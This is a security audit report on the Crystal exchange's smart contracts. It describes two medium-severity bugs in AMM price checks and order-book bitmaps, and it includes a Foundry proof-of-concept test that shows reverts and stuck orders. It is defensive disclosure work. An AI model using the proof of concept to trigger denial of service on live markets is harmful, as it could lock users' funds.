SHERLOCK

Security Review For Crystal



Collaborative Audit Prepared For: **Crystal**
Lead Security Expert(s): **0xeix**
montecristo
panprog
Date Audited: **July 21 - August 15, 2026**

Introduction

Crystal seeks to bring the CEX experience on-chain, facilitating seamless trading across highly liquid markets between any tokens. Enabled by Monad, a modern EVM-compatible L1, Crystal's fully on-chain order book introduces the capital efficiency and lower fees of CEXs to the decentralized world without compromising on security or composability. By providing a superior trading experience enhanced by the benefits of permissionless and self-custody exclusive to decentralized exchanges, Crystal aims to surpass centralized exchanges in becoming the premiere venue for all cryptocurrency trading.

Scope

Repository: CrystalExch/Crystal-Contracts

Audited Commit: 6f0c502b0bc136b1e357e15d9bf476aeedcb2c0b

Final Commit: c5be84834c2c0e50ad5122d9cfae7fa0277af1f8

Files:

- contracts/core/CrystalMarket.sol
- contracts/core/Crystal.sol
- contracts/libraries/CrystalMath.sol
- contracts/libraries/CrystalStorage.sol
- contracts/vaults/CrystalVaultFactory.sol
- contracts/vaults/CrystalVault.sol

Final Commit Hash

c5be84834c2c0e50ad5122d9cfae7fa0277af1f8

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	4	16

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue M-1: Incorrect adjusted AMM price is used in `CrystalMarket` in multiple places (`_limitOrder`, `addLiquidity`, `removeLiquidity`), which leads to significant funds loss when removing liquidity, prohibits many correct limit order price ranges and causes unexpected reverts DOS'ing important protocol operations

Source:
https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/6

Summary

The code uses concept of `adjusted AMM price`, when comparing amm price and orderbook prices to take into account amm fees (0.25%) and orderbook fees (`makerRebate`). The issue is that a single formula is used everywhere in the code for `adjusted amm price`, which compares amm buy price to orderbook buy price (or amm sell price to orderbook sell price). But the formula should be different depending on which prices (buy or sell) should be compared.

To make the examples easier to understand, we use orderbook fee (`makerRebate`) of max allowed 10% (`makerRebate = 90000`), but the same issues stand for any non-zero orderbook fee.

Buy/Sell price formulas When taker trades in the protocol, the effective trade price is different from raw price, both for amm and orderbook:

- If raw AMM price = 100, a taker **buying** from AMM will pay 0.25% fee and the effective taker buy price will be `100 / 0.9975 = 100.2506` (`ammAskPrice = ammRawPrice / 0.9975`)
- If raw AMM price = 100, a taker **selling** to AMM will pay 0.25% fee and the effective taker sell price will be `100 * 0.9975 = 99.75` (`ammBidPrice = ammRawPrice * 0.9975`)
- A taker **buying** from orderbook at a price = 100, will pay 10% fee and the effective taker buy price will be `100 / 0.9 = 111.11` (`obAskPrice = obRawPrice / makerRebate`)
- A taker **selling** to orderbook at a price = 100, will pay 10% fee and the effective taker sell price will be `100 * 0.9 = 90` (`obBidPrice = obRawPrice * makerRebate`)

Adjusted AMM price When the code needs to compare amm and orderbook prices, instead of using amm bid / amm ask / ob bid / ob ask prices, a single `adjusted amm price` is used, which includes fees for both amm and orderbook, making it possible to compare adjusted amm price directly to raw orderbook price. But note that `adjusted amm price` is

direction-dependant, as it compares amm buy or sell price vs orderbook buy or sell price (4 possible adjusted amm formulas: buy/buy, sell/sell, buy/sell, sell/buy). For example, `_marketOrder` uses the following formulas:

```
if (isBuy) {
    adjustedAMMPrice = (reserveQuote * scaleFactor * 10000 * uint256(m.makerRebate)
    ↪  + (reserveBase * 9975 * 100000 - 1)) / (reserveBase * 9975 * 100000);
} else {
    adjustedAMMPrice = (reserveQuote * scaleFactor * 9975 * 100000) / (reserveBase
    ↪  * 10000 * uint256(m.makerRebate));
}
```

`_marketOrder` needs to compare same-direction prices for amm and orderbook to choose the best execution venue. This means that amm buy (ask) should be compared to orderbook buy (ask): `ammAskPrice vs obAskPrice` `ammRawPrice * 10000 / 9975 vs obRawPrice * 100000 / makerRebate` `ammRawPrice * 10000 / 9975 * makerRebate / 100000 vs obRawPrice`

Here the left side is `adjusted amm price`, because we can compare it directly to orderbook raw price (right side). This means that to compare amm buy vs orderbook buy, the formula is: `adjustedAmmPrice = ammRawPrice * 10000 / 9975 * makerRebate / 100000` (the branch for `isBuy` in the above code, where `ammRawPrice = reserveQuote * scaleFactor / reserveBase`, the price is rounded up)

For amm sell (bid) vs orderbook sell (bid): `ammBidPrice vs obBidPrice` `ammRawPrice * 9975 / 10000 * 100000 / makerRebate vs obBidPrice` `adjustedAmmPrice = ammRawPrice * 9975 / 10000 * 100000 / makerRebate` (the branch for sell in the code above, rounding down)

Incorrect adjusted price (the issue) The issue is that the same adjusted amm price formulas as in `_marketOrder` are also used everywhere in the code. However, their meaning in these other parts of the code is different. Everywhere else the purpose of `adjusted amm price` is to ensure there is no internal arbitrage between amm and orderbook:

- `_limitOrder`: ensure there is no arbitrage between newly placed limit order and amm
- `addLiquidity`: ensure there is no arbitrage between existing limit orders and amm price set by the user during first liquidity addition
- `removeLiquidity`: due to rounding, the amm price can slightly change, ensure this slight change in amm price doesn't create internal arbitrage between existing orderbook orders and changed amm price

In all these 3 parts of the code, `adjusted amm price` is used to ensure no arbitrage between amm and orderbook. There are 2 possible directions of the arbitrage:

- Buy from amm, sell to orderbook: arbitrage if `ammAskPrice < obBidPrice`
- Buy from orderbook, sell to amm: arbitrage if `ammBidPrice > obAskPrice`

For the first case, correct formula is: `ammAskPrice < obBidPrice` `ammRawPrice / 0.9975 < obRawPrice * makerRebate` `ammRawPrice / 0.9975 / makerRebate < obRawPrice` `adjustedA`

`mmPrice = ammRawPrice * 10000 * 100000 / 9975 / makerRebate`

For the second case: `adjustedAmmPrice = ammRawPrice * 9975 * makerRebate / 10000 / 100000`

Additional issue `addLiquidity` when there is already existing liquidity present can slightly change the amm price due to rounding the same way `removeLiquidity` does. Currently there is no check there, but it should be for consistency with `removeLiquidity`

Root Cause

Incorrect `adjustedAmmPrice` usage in different parts of the code: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1487-L1490 https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1505-L1508 https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2219-L2220 https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2280-L2284 https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2289-L2290

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

The most severe issue is in removing liquidity Scenario 1 (`removeLiquidity`):

- Amm raw price = 100 (base=1e20, quote=1e22, totalSupply = 1e21), Orderbook bid/ask is 100 / 124
- MakerRebate = 90000 (10%)
- User calls removeLiquidity (1e20)
- He should receive `amountQuote = 1e21, amountBase = 1e19` (new `reserveQuote = 9e21, reserveBase = 9e19`)
- `ammAsk = 91`

- `highestBid > ammAsk` (`100 > 91`)
- Adjustment branch fires: `newReserveQuote = 9.87525e21`, adjusted `amountQuote = 0.12475e21`
- User receives (`quote=0.12e21, base=1e19`) instead of (`quote=1e21, base=1e19`), 87% loss of quote assets.
- Note: the amount confiscated in this branch is based on **full protocol (AMM) liquidity** regardless of `removeLiquidity` size. So any liquidity removal in this example which expects less than 0.87e21 quote amount will simply revert, denying smaller users all their funds.
- Note 2: even though user can protect with slippage, this means his funds will be stuck as in most situations the amount he receives is unfair.
- Note 3: this scenario only happens when maker rebate < 99750 (greater than AMM 0.25% fee).

Multiple unexpected revert scenarios.

Scenario 2 (limit order):

- User tries to place valid limit order close to amm price
- The placement reverts, because order price is checked against incorrect price to prevent non-existing arbitrage

Example:

- Amm raw price = 100
- MakerRebate = 99700 (0.3%)
- User tries to place limit buy @ 100 or limit sell at 100
- Order placement reverts (even though limit buy @ 100 or limit sell at 100 don't cause any arbitrage, since fees will prevent any arbitrage)

Scenario 3 (add liquidity):

- Orderbook bid/ask is 99.9 / 100.0
- MakerRebate = 99800 (0.2%)
- User tries to add first liquidity to amm at a price of 100.06. Notice, even though the raw prices look like in arbitrage, the actual amm taker sell price after fees is 99.81, so there is no arbitrage here, so such setup should be safe.
- Transaction reverts, preventing legitimate addition of liquidity

Impact

Loss of funds or stuck funds when trying to remove liquidity. Unexpected reverts preventing usage of core protocol functions in harmless situations. Orderbook spread is

forced higher than it should be due to this. AMM liquidity lower than it could be due to reverts.

Mitigation

1. Use the correct amm adjusted price formulas for `_limitOrder`, `addLiquidity` and `removeLiquidity`
2. Add reserves adjustment in `addLiquidity` when liquidity is added to existing liquidity, similar to `removeLiquidity`. Note: reverting here for arbitrage situations might cause unexpected reverts when at the edge of arbitrage due to rounding error, so it's better to adjust reserves instead.

Discussion

legionevm

definitely a valid issue but i think this is a med/low as pairs with the AMM enabled are highly unlikely to have a significant maker rebate, as say with a 10% maker rebate limit orders will almost never get filled vs the AMM. additionally, in general maker rebates are super low, for example the highest maker rebate we planned on launching with is 0.005%, which when compared w the AMM spread of 0.5% is insignificant

panprog

@legionevm First a few notes to better outline the impact:

- The `removeLiquidity` adjustment branch calculates ”confiscated” amount based on full AMM liquidity, it doesn't depend on liquidity being removed. So even with small maker rebate (e.g. 0.3%), the amount confiscated here will be comparable to (maker rebate - 0.25%) * AMM reserve or quote size. For example, if AMM has 1M of quote, maker rebate = 0.3%, confiscated amount is 1M * 0.05% = 500. Any user trying to withdraw less than 500 will simply revert. User withdrawing exactly 500 will get 0 (100% loss). User withdrawing 10K will lose 500 (5% loss). This means that even small maker rebate will cause permanent denial of liquidity removal for small users and high funds loss for larger users (or revert, so denial, if protected with slippage control).
- That said, the `removeLiquidity` scenario works only when maker rebate > amm fee (0.25%).

My main argument for high is that anyone can create the market permissionlessly, choosing any maker rebate, so it doesn't matter what maker rebate were you planning to launch with. Someone launching with very normal rebate of 0.3% will have market where small liquidity providers will be unable to exit liquidity and larger liquidity providers will have their funds stolen on liquidity withdrawal. Not to mention that the only constraint for maker rebate is max of 10% (90000), so it should work correctly with any value. Yes, the 10% maker rebate is very unlikely, but even normal amounts (e.g. widely used fee of 0.3%) still cause the same issues.

panprog

btw, the same situation even for maker rebate < 0.25% can also happen in the following cases:

- AMM liquidity added, AMM is paused, orders placed (ignoring AMM limits), AMM is unpaused (AMM price / orderbook prices are disconnected)
- AMM is active, orderbook is active, maker rebate is increased (now AMM price / orderbook prices are outside the removeLiquidity limits, so can cause large confiscations)

This is probably admin mistake, but then again admin has no control over AMM (in the first case), so once AMM is paused, there is no good way to unpause it without causing this issue.

legionevm

i agree with your points regarding impact, but as you noted on markets with the AMM enabled a maker rebate that's greater than the AMM fee would not be practical regardless. regarding your second point, AMM isn't really designed to be paused/unpaused based on market conditions, it's more of a safety measure so any market can transition to fully orderbook if we decide the to depreciate the AMM altogether. plus likely once unpaused the AMM will be arbigrated anyway until the prices are lined up. also, while anyone can create a market permissionlessly by default they are not canonical, meaning they will not be displayed at least by our website to users at least not without warnings as there are various other ways to misconfigure a market. i also think while 0.3% is a widely used AMM fee, as 3x the default binance taker fee i think it is very high for an orderbook just as a taker fee, not to mention maker rebates are usually around 1/4th to less than 1/10th of the taker fee so a maker rebate of 0.3% would be unprecedentedly high which is my main argument for med/low especially considering that our highest planned maker rebate on launch for canonical markets is 0.005%.

panprog

Ok, I get your point. Downgrading this to Medium. I don't see this as Low, because user is denied service (unexpected reverts) in many situations when trying to add limit orders, even for very low maker rebate (core function DOS is Medium by Sherlock rules). And additionally, 0.3% permissionless market is still possible, even if not likely.

Issue M-2: Market deployment incorrectly resets the tick-0 sentinel bit of the groups bitmap causing revert (DOS) when cancelling or trading through the lowest price bid order.

Source:
https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/12

Summary

`Crystal.deploy()` seeds two sentinel bits so that the orderbook bitmap walks can never run off either end of the book.

```
(key, offset) = CS._getActivated((marketId << 128), maxTick / 255);
CS._writeMapping(key, offset, CS.PRICELEVELS_KEY, (1 << (maxTick % 255)) |
↪  ((maxTick / 255) == 0 ? 1 : 0));
(key, offset) = CS._getGroups((marketId << 128), (maxTick / 255) / 255);
CS._writeMapping(key, offset, CS.GROUPS_KEY, (1 << ((maxTick / 255) % 255)) |
↪  ((maxTick / 255) == 0 ? 1 : 0));
```

The last condition (`((maxTick / 255) == 0`) is incorrect, it should be: (`(((maxTick / 255) / 255) == 0`). This write seeds the `maxTick` sentinel in the second-level (groups) bitmap. `(maxTick / 255) == 0` is the *first-level* word index, not the *second-level* word index `(maxTick / 255) / 255`. For every market whose `maxTick` falls in `[255, 65024]`, that write overwrites the groups word that holds the tick-0 sentinel bit, permanently desynchronising the second-level bitmap from the first-level one. Any downward search that has to leave the current first-level word then decrements the groups index past zero and reverts.

`maxTick` range	groups word index	groups word 0 after `deploy()`	correct
`maxTick < 255`	0	`1`	✅ (bit 0 is the maxTi
`255 <= maxTick <= 65024`	0	`1 << (maxTick / 255)`	❌ **bit 0 wiped**
`maxTick >= 65025`	`>= 1`	`1`	✅ (different word, no

The corruption never repairs itself. _activatePriceLevel() is the only place that sets a groups bit, and it does so only when the activated word was previously empty:

```
uint256 slot = CS._readMapping(key, offset, CS.PRICELEVELS_KEY) & MASK_OUT_255_256;
CS._writeMapping(key, offset, CS.PRICELEVELS_KEY, slot | (1 << (tick % 255)) |
↪  MASK_KEEP_255_256);
if (slot == 0) {
    (key, offset) = CS._getGroups(marketId, (tick / 255) / 255);
```

```
    uint256 groupsSlot = CS._readMapping(key, offset, CS.GROUPS_KEY);
    CS._writeMapping(key, offset, CS.GROUPS_KEY, groupsSlot | (1 << ((tick / 255) %
    ↪  255)) | MASK_KEEP_255_256);
}
```

Activated word 0 is never empty (the sentinel keeps it at `slot != 0`), so placing orders anywhere in ticks 1–254 activates the first-level bit but never restores the missing groups bit. Every other bitmap site only *clears* groups bits.

The identical expression is used in the launchpad path at Crystal.sol#L1950-L1957, but it is not exploitable there: `GRADUATED_MAX_PRICE = 1e15` with `tickSize = 1` fixes `maxTick = 1_000_000`, so `(maxTick / 255) / 255 = 15 != 0` and groups word 0 is left intact.

The failure surfaces in _searchDown():

```
while (groupsSlot == 0) {
    --groupsIndex;
    (key, offset) = CS._getGroups(marketId, groupsIndex);
    groupsSlot = CS._readMapping(key, offset, CS.GROUPS_KEY) & MASK_OUT_255_256;
    ...
}
```

The whole function is `unchecked`, so with the sentinel bit gone `--groupsIndex` underflows from `0` to `type(uint256).max` and CS._getGroups() reverts on `require(groupsIndex <= type(uint128).max)` with empty revert data. The same loop shape exists in _getPriceLevels() and is reached from `getQuote()` / `getAmountsOut()`.

Root Cause

Incorrect condition in the `Crystal.deploy`: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/Crystal.sol#L1363

The same incorrect condition is also in `Crystal.createToken`: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/Crystal.sol#L1957

Internal Pre-conditions

A market is deployed via `Crystal.deploy()` with `maxTick` in `[255, 65024]`.

External Pre-conditions

None.

Attack Path

Happens by itself, no attack required.

1. Using a market with `tickSize = 1e9` and `maxPrice = 1000e9` (`maxTick = 1000`, activated words 0–3):
2. Alice places a bid at tick 300
3. Alice calls `cancelOrder`, the transaction reverts (Alice funds in the order are stuck)

OR

3. Bob tries to execute market order which should sweep all bid orders (including Alice order): it reverts regardless of order type

Impact

1. Funds for 1 order at the bottom price level are permanently lost as the order can't be cancelled or filled.
2. Market sells that sweep all orders always revert, denying service to core contract functionality.
3. Bids resting at ticks 1-254 are unfillable (ignored liquidity), but still cancellable.

Note:

- The uncancellable order can be replaced with smaller order size, so the actual amount stuck is the min order size.
- It's also possible to place another order at the lower price level (but higher than 254), which allows to cancel any order at the higher price level, but this just moves the uncancellable order down the price level.

Proof of concept

Place the file below at `test/foundry/unit/AuditGroupsSentinelTest.t.sol` and run:

```
forge test --match-contract AuditGroupsSentinelTest -vv
```

The suite pins down the root cause, the exact boundary of the impact, and the limits of the workarounds:

test	shows
`testDeployClobbersGroupsSentinelBit`	raw storage after `deploy()`: `activated[0] = 1`, `groups[0]`
`testCorruptionIsNotSelfHealing`	placing a bid inside word 0 activates the first-level bit bu

test	shows
`testOnlyLowestBidLevelReverts`	cancel above the bottom level succeeds; cancel of the b
`testBidInWordZeroDoesNotRescueTheWalk`	a bid at tick 254 does not save the cancel at tick 300
`testUnwindAlwaysLeavesOneOrderStuck`	the relocate-and-cancel escape hatch always leaves on
`testPartialExitWorksFullExitDoesNot`	shrinking while the level stays non-empty works; shrinkin
`testMarketSellThroughBestBidReverts`	a market sell through the bottom level reverts; the contr

Applying the mitigation below inverts every one of them: `groups[0]` becomes `9`, and the cancels and market sells succeed.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {console2} from "forge-std/console2.sol";
import {AuditBaseTest} from "../AuditBaseTest.t.sol";
import {CrystalMarket} from "../../../contracts/core/CrystalMarket.sol";

/**
 * PoC for the groups-bitmap sentinel bug in Crystal.deploy()/createToken():
 *
 *   CS._writeMapping(key, offset, CS.GROUPS_KEY, (1 << ((maxTick / 255) % 255)) |
 ↪  ((maxTick / 255) == 0 ? 1 : 0));
 *
 * The guard must be `(maxTick / 255) / 255 == 0` (the *groups* word index), not
 ↪  `maxTick / 255 == 0`
 * (the *activated* word index). When 255 <= maxTick <= 65024 the write lands on
 ↪  groups word 0 and
 * clobbers the tick-0 sentinel bit written two lines earlier, permanently
 ↪  desynchronising the
 * second-level bitmap from the first-level one.
 */
contract AuditGroupsSentinelTest is AuditBaseTest {
    uint256 internal constant PRICELEVELS_KEY = 0x200;
    uint256 internal constant GROUPS_KEY = 0x300;

    uint256 internal constant TICK = 1e9; // tickSize: tick index == quote-per-base
    ↪  units
    uint256 internal constant SCALE_EXP = 21;
    uint256 internal constant MIN_SIZE = 1_000_000;
    uint24 internal constant TAKER_FEE = 99_970;
    uint24 internal constant MAKER_REBATE = 99_990;

    // maxTick = 1000 -> 255 <= maxTick <= 65024  => VULNERABLE band
```

```
    CrystalMarket internal badMarket;
    uint256 internal badMarketId;

    // maxTick = 200 -> maxTick < 255             => unaffected (control)
    CrystalMarket internal okMarket;
    uint256 internal okMarketId;

    function setUp() public override {
        super.setUp();
        (badMarket, badMarketId) = _deployLinearMarket(1000 * TICK);
        (okMarket, okMarketId) = _deployLinearMarket(200 * TICK);
    }

    /* ------------------------------------------------------------------------ */
    /*                                1. root cause                             */
    /* ------------------------------------------------------------------------ */

    /// The tick-0 sentinel is present in the first-level bitmap but missing from
    ↪  the second level.
    function testDeployClobbersGroupsSentinelBit() public view {
        uint256 maxTick = 1000;

        uint256 activated0 = _activatedWord(badMarketId, 0);
        uint256 groups0 = _groupsWord(badMarketId, 0);

        console2.log("maxTick                ", maxTick);
        console2.log("activated word 0       ", activated0);
        console2.log("groups word 0          ", groups0);
        console2.log("expected groups word 0  ", (1 << (maxTick / 255)) | 1);

        // first level: tick 0 sentinel is set
        assertEq(activated0 & 1, 1, "activated[0].bit0 (tick 0 sentinel) should be
        ↪  set");
        // second level: the bit saying "activated word 0 is non-empty" was wiped
        ↪  by the maxTick write
        assertEq(groups0 & 1, 0, "BUG: groups[0].bit0 was clobbered");
        assertEq(groups0, 1 << (maxTick / 255), "groups[0] only holds the maxTick
        ↪  bit");

        // control market (maxTick < 255): both writes target groups word 0 bit 0,
        ↪  so nothing is lost
        assertEq(_groupsWord(okMarketId, 0) & 1, 1, "control market keeps its
        ↪  sentinel");
    }

    /// The corruption is permanent: activating a level inside word 0 does not
    ↪  repair the groups bit,
    /// because _activatePriceLevel only touches the groups bitmap when the
    ↪  activated word was empty,
    /// and word 0 is never empty (it holds the sentinel).
```

```
    function testCorruptionIsNotSelfHealing() public {
        vm.prank(alice);
        crystal.limitOrder(address(badMarket), true, 0, 100 * TICK, 1_000 *
        ↪  QUOTE_UNIT, alice);

        assertEq(_activatedWord(badMarketId, 0) & (1 << 100), 1 << 100, "tick 100
        ↪  activated");
        assertEq(_groupsWord(badMarketId, 0) & 1, 0, "BUG: groups[0].bit0 still
        ↪  unset -> word 0 invisible");
    }

    /* ---------------------------------------------------------------------- */
    /*                 2. impact: only the bottom of the book is hit          */
    /* ---------------------------------------------------------------------- */

    /// The walk only consults the groups bitmap once the current activated word
    ↪  runs out of set
    /// bits below the search position. So the revert is confined to the LOWEST bid
    ↪  level that sits
    /// in an activated word >= 1: any bid below it (in the same word or a lower
    ↪  word >= 1) rescues
    /// the walk before it reaches the missing group bit.
    function testOnlyLowestBidLevelReverts() public {
        // tick 300 and tick 299 are both in activated word 1
        vm.startPrank(alice);
        uint256 idTop = crystal.limitOrder(address(badMarket), true, 0, 300 * TICK,
        ↪  1_000 * QUOTE_UNIT, alice);
        uint256 idBottom = crystal.limitOrder(address(badMarket), true, 0, 299 *
        ↪  TICK, 1_000 * QUOTE_UNIT, alice);
        vm.stopPrank();

        // upper level empties but bit 44 (tick 299) is still set in the same word
        ↪  -> no groups walk
        vm.prank(alice);
        assertEq(
            crystal.cancelOrder(address(badMarket), 0, 300 * TICK, idTop, alice),
            1_000 * QUOTE_UNIT,
            "cancel above the bottom level works"
        );

        // now tick 299 is the bottom: word 1 empties, groups word 0 has no bit
        ↪  below index 1 -> revert
        vm.prank(alice);
        vm.expectRevert();
        crystal.cancelOrder(address(badMarket), 0, 299 * TICK, idBottom, alice);

        // control market: same shape, cancel of the last bid succeeds
        vm.prank(alice);
        uint256 okId = crystal.limitOrder(address(okMarket), true, 0, 100 * TICK,
        ↪  1_000 * QUOTE_UNIT, alice);
```

```
        vm.prank(alice);
        assertEq(
            crystal.cancelOrder(address(okMarket), 0, 100 * TICK, okId, alice),
            1_000 * QUOTE_UNIT,
            "control market cancel works"
        );
    }

    /// A bid inside activated word 0 does NOT rescue the walk - word 0 is exactly
    ↪  the word the
    /// clobbered group bit hides. So the escape hatch below can never terminate in
    ↪  word 0.
    function testBidInWordZeroDoesNotRescueTheWalk() public {
        vm.startPrank(alice);
        uint256 id = crystal.limitOrder(address(badMarket), true, 0, 300 * TICK,
        ↪  1_000 * QUOTE_UNIT, alice);
        crystal.limitOrder(address(badMarket), true, 0, 254 * TICK, 1_000 *
        ↪  QUOTE_UNIT, alice); // last tick of word 0
        vm.stopPrank();

        vm.prank(alice);
        vm.expectRevert();
        crystal.cancelOrder(address(badMarket), 0, 300 * TICK, id, alice);
    }

    /// The maker's escape hatch: place a cheaper bid, cancel the stuck one. It
    ↪  always works, but it
    /// only moves the problem - one order always remains resting at the bottom of
    ↪  the book, and it
    /// cannot be walked down into word 0. Residual permanently-locked value is one
    ↪  minSize.
    function testUnwindAlwaysLeavesOneOrderStuck() public {
        uint256 minSize = MIN_SIZE; // 1 QUOTE_UNIT

        vm.prank(alice);
        uint256 stuck = crystal.limitOrder(address(badMarket), true, 0, 300 * TICK,
        ↪  1_000 * QUOTE_UNIT, alice);

        // walk the stuck order down one tick at a time; each step frees the
        ↪  previous order in full
        for (uint256 tick = 299; tick >= 296; --tick) {
            vm.prank(alice);
            uint256 next = crystal.limitOrder(address(badMarket), true, 0, tick *
            ↪  TICK, 1_000 * QUOTE_UNIT, alice);
            vm.prank(alice);
            crystal.cancelOrder(address(badMarket), 0, (tick + 1) * TICK, stuck,
            ↪  alice);
            stuck = next;
        }
```

```
        // the survivor can be shrunk to exactly minSize, but never removed
        vm.prank(alice);
        crystal.replaceOrder(address(badMarket), 0, 296 * TICK, stuck, 296 * TICK,
        ↪  minSize, address(0), alice);
        vm.prank(alice);
        vm.expectRevert();
        crystal.cancelOrder(address(badMarket), 0, 296 * TICK, stuck, alice);
    }

    /// The maker is not completely without recourse: shrinking the order via
    ↪  replaceOrder keeps the
    /// price level non-empty, so no bitmap walk happens and most of the funds come
    ↪  back. Fully
    /// exiting is still impossible - the remainder stays locked in a permanently
    ↪  resting order,
    /// and shrinking below minSize is internally promoted to a cancel, which
    ↪  reverts too.
    function testPartialExitWorksFullExitDoesNot() public {
        uint256 size = 1_000 * QUOTE_UNIT;
        uint256 remainder = 2 * QUOTE_UNIT; // must stay above minSize (1
        ↪  QUOTE_UNIT)

        vm.prank(alice);
        uint256 id = crystal.limitOrder(address(badMarket), true, 0, 300 * TICK,
        ↪  size, alice);

        // shrink but keep the level non-empty -> no bitmap walk -> succeeds
        vm.prank(alice);
        crystal.replaceOrder(address(badMarket), 0, 300 * TICK, id, 300 * TICK,
        ↪  remainder, address(0), alice);

        // shrinking to dust is promoted to a full cancel internally
        ↪  (_decreaseOrder) -> reverts
        vm.prank(alice);
        vm.expectRevert();
        crystal.replaceOrder(address(badMarket), 0, 300 * TICK, id, 300 * TICK, 1,
        ↪  address(0), alice);

        // explicit cancel -> level empties -> bitmap walk -> revert
        vm.prank(alice);
        vm.expectRevert();
        crystal.cancelOrder(address(badMarket), 0, 300 * TICK, id, alice);
    }

    /* ------------------------------------------------------------------------ */
    /*                    3. impact: market sell is bricked                     */
    /* ------------------------------------------------------------------------ */

    /// A market sell that fully consumes the best bid reverts for the same reason,
    /// so the bid side of the book cannot be traded through at all.
```

```
    function testMarketSellThroughBestBidReverts() public {
        // deeper bid in activated word 0 (tick 100), best bid in activated word 1
        ↪  (tick 300)
        vm.startPrank(alice);
        crystal.limitOrder(address(badMarket), true, 0, 100 * TICK, 1_000 *
        ↪  QUOTE_UNIT, alice);
        crystal.limitOrder(address(badMarket), true, 0, 300 * TICK, 1_000 *
        ↪  QUOTE_UNIT, alice);
        vm.stopPrank();

        // ~3.34 WETH exhausts the 1000-quote bid at tick 300; the walk down to
        ↪  tick 100 then reverts
        vm.prank(bob);
        vm.expectRevert();
        crystal.marketOrder(address(badMarket), false, true, 0, ORDER_TYPES_NORMAL,
        ↪  10 ether, 0, address(0), bob);

        // control market: same shape of trade walks down to the tick-0 sentinel
        ↪  and settles fine
        vm.startPrank(alice);
        crystal.limitOrder(address(okMarket), true, 0, 100 * TICK, 1_000 *
        ↪  QUOTE_UNIT, alice);
        vm.stopPrank();

        vm.prank(bob);
        (uint256 amountIn, uint256 amountOut,) =
            crystal.marketOrder(address(okMarket), false, true, 0,
            ↪  ORDER_TYPES_NORMAL, 10 ether, 0, address(0), bob);
        console2.log("control market amountIn ", amountIn);
        console2.log("control market amountOut", amountOut);
        assertGt(amountOut, 0, "control market sell settles");
    }

    /* ---------------------------------------------------------------------- */
    /*                                helpers                                 */
    /* ---------------------------------------------------------------------- */

    function _deployLinearMarket(uint256 maxPrice) internal returns (CrystalMarket
    ↪  m, uint256 id) {
        address addr = crystal.deploy(
            false, address(quote), address(weth), 0, SCALE_EXP, TICK, maxPrice,
            ↪  MIN_SIZE, TAKER_FEE, MAKER_REBATE
        );
        m = CrystalMarket(payable(addr));
        for (uint256 i = 1; i < 16; ++i) {
            if (crystal.marketIdToMarket(i) == addr) {
                id = i;
                break;
            }
        }
```

```
        require(id != 0, "marketId not found");
    }

    /// Mirrors CrystalStorage._getGroups + _readMapping. Bitmaps live in Crystal's
    ↪  storage
    /// because market logic is reached through delegatecall.
    function _groupsWord(uint256 marketId, uint256 groupsIndex) internal view
    ↪  returns (uint256) {
        uint256 key = (marketId << 128) | (groupsIndex >> 7);
        uint256 slot = uint256(keccak256(abi.encode(key, GROUPS_KEY))) +
        ↪  (groupsIndex & 127);
        return uint256(vm.load(address(crystal), bytes32(slot)));
    }

    /// Mirrors CrystalStorage._getActivated + _readMapping.
    function _activatedWord(uint256 marketId, uint256 slotIndex) internal view
    ↪  returns (uint256) {
        uint256 tickIndex = ((slotIndex + 1) * 256 - 1);
        uint256 key = (marketId << 128) | (tickIndex >> 7);
        uint256 slot = uint256(keccak256(abi.encode(key, PRICELEVELS_KEY))) +
        ↪  (tickIndex & 127);
        return uint256(vm.load(address(crystal), bytes32(slot)));
    }
}
```

Mitigation

Guard the groups write with the groups word index, in both `deploy()` (line 1363) and `creat eToken()` (line 1957):

```
CS._writeMapping(key, offset, CS.GROUPS_KEY, (1 << ((maxTick / 255) % 255)) |
↪  (((maxTick / 255) / 255) == 0 ? 1 : 0));
```

Discussion

legionevm

i'd say this is a low as the criteria for min is Users lose more than 0.01% and more than 10 dollars of their principal, but minSize is editable so it could be set to as low as 1 asset unit, and i don't know of any tokens where 1 asset unit is > 10$. practically, there's no advantage to having a maxPrice < 65024 especially on Monad due to the high gas limit, as the only reason to set the max price lower would be to save gas on a large price move, yet a traversing 100,000 is less than 1% of the block gas limit so the timeline for this issue would be someone for whatever reason deploys a market with maxPrice < 65024, discovers its unusable, governance goes and sets minsize to 1 and declares market non canonical, users withdraw all funds, market is redeployed canonically with maxprice >

65024 so i'd argue this is a low, w the key points being that due to minsize being editable it isn't a loss of funds issue but a dos one, but the dos is easily mitigated.

panprog

I still think it's Medium by Sherlock rules:

- Breaks core contract functionality (market sell sweeping all orders always reverts for maxPrice < 65024 markets)
- Likelihood is not considered when identifying the severity and the validity of the report. (for Medium)
- maxPrice < 65024 markets are possible (likelihood not taken into account for Medium)

The fact that the market needs:

